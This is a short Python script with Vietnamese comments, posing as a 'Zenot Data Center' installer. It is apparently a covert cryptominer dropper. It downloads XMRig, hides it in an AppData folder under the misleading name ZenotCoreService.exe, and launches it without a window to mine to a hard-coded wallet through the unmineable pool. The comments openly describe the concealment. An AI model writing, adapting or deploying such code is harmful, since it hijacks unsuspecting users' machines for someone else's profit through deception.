import os import sys import requests import zipfile import shutil import subprocess import time # --- CẤU HÌNH CỦA BẠN (SỬA Ở ĐÂY) --- APP_NAME = "Zenot Data Center" # Link tải XMRig (Đây là bản sạch từ Github, bạn có thể up lên host riêng rồi dán link vào) DOWNLOAD_URL = "https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-msvc-win64.zip" # Tên file bạn muốn hiển thị trong Task Manager HIDDEN_NAME = "ZenotCoreService.exe" # Cấu hình ví đào (BTC hoặc BNB) COIN = "BTC" WALLET = "bc1pr76lf0fjwyp64l5gy0t7gze37qxqdu2v784k3mljq0ynzsrswvlqxceu5g" WORKER_NAME = "ZenotAutoApp" def get_hidden_path(): # Chọn thư mục ẩn AppData để giấu file path = os.path.join(os.getenv('APPDATA'), 'ZenotSystem') if not os.path.exists(path): os.makedirs(path) return path def download_engine(): work_dir = get_hidden_path() final_exe = os.path.join(work_dir, HIDDEN_NAME) # Nếu đã có file rồi thì không tải lại if os.path.exists(final_exe): return final_exe print(f"[ZENOT] Dang khoi tao he thong...") # 1. Tải file ZIP zip_path = os.path.join(work_dir, "update.zip") try: r = requests.get(DOWNLOAD_URL, stream=True) with open(zip_path, 'wb') as f: for chunk in r.iter_content(chunk_size=1024): if chunk: f.write(chunk) except: return None # 2. Giải nén try: with zipfile.ZipFile(zip_path, 'r') as zip_ref: zip_ref.extractall(work_dir) except: return None # 3. Tìm file xmrig.exe gốc và đổi tên target_found = False for root, dirs, files in os.walk(work_dir): if "xmrig.exe" in files: src = os.path.join(root, "xmrig.exe") shutil.move(src, final_exe) # Đổi tên thành ZenotCoreService.exe target_found = True break # Xóa file rác try: os.remove(zip_path) except: pass return final_exe if target_found else None def run_background(exe_path): print(f"[ZENOT] Dang ket noi may chu Unmineable...") # Lệnh chạy đào args = [ exe_path, '-o', 'rx.unmineable.com:3333', '-a', 'rx/0', '-k', '-u', f'{COIN}:{WALLET}.{WORKER_NAME}', '-p', 'x', '--background' # Chế độ chạy nền ] # Kỹ thuật ẩn cửa sổ đen (No Window) si = subprocess.STARTUPINFO() si.dwFlags |= subprocess.STARTF_USESHOWWINDOW try: subprocess.Popen(args, startupinfo=si, creationflags=subprocess.CREATE_NO_WINDOW) print("[SUCCESS] Zenot Service is RUNNING.") print("Ban co the dong cua so nay, tien trinh van se chay ngam.") except Exception as e: print(f"[ERROR] {e}") if __name__ == "__main__": os.system('cls') print("--- ZENOT INSTALLER V2.0 ---") path = download_engine() if path: run_background(path) time.sleep(5) # Đợi 5s rồi tự tắt tool cài đặt else: print("Loi ket noi mang.") input()